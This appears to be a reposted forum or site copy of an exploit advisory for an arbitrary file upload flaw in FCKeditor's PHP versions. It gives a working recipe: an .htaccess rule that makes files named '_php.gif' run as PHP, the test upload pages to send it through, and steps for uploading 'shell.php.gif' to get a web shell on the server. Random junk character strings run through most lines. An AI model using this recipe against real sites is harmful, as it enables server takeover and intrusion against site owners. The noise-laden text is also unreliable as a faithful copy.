FCKeditor所有php版本Upload上传漏洞. M5 p3 {& I* U I+ p4 X
作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:073 H6 d7 M% Z7 Z
减小字体 增大字体
6 h1 r2 g5 b! u[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability/ T+ a6 a! A s4 r
[+] Date: 2011
/ s- i& @3 G6 C3 M H' i% ~# h; N[+] Author : sinesafe.cn' o" ^- U$ l3 F9 O4 N% Z ^# c
[+] Website : WwW.sinesafe.cn
' K# t. G. L( Q7 k1 l———————————————————
- ~: W- C: m) a0 G+ U1 s* b- E1.create a htaccess file:
& C% a; ]1 D3 T ?code:( S0 T* f( u& {! b4 p
<FilesMatch “_php.gif”>: l6 W2 v/ Q |! R X/ w U9 {
SetHandler application/x-httpd-php
6 J' X# b. P, a3 W. f+ v; H</FilesMatch>3 Q3 y2 X6 u" K! D' e
- w0 q( @* h1 d0 F$ j# a/ Q# J
2.Now upload this htaccess with FCKeditor.% H) B% H7 \8 R# `
( y. I5 x" w% ]+ j" ghttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html9 q1 _3 l- O& p* @) H& M
' ^( J2 }( f" N3 o" V, A3 p9 @
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html
( X1 z. ~ d5 [& M: U( w+ J9 S4 \- ?: k# m4 A$ K7 j6 \
———————————————————————————————-
) i1 K$ l7 `- H3.Now upload shell.php.gif with FCKeditor.
/ G) b5 \/ ]; u" A% j4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
5 m8 r% D- T! n, ?# \2 }/ g2 ]5 X/ j5.http://www.sinesafe.cn/anything/shell_php.gif$ m+ l1 C9 V7 C: @# R. e' [
6.Now shell is available from server. |
0 w9 J/ C# T( G. X* v P' {! _$ i: X- V, f1 T; u' x
, l0 [- I# K: j |
发表于 2013-10-27 17:25:21
收藏
支持
反对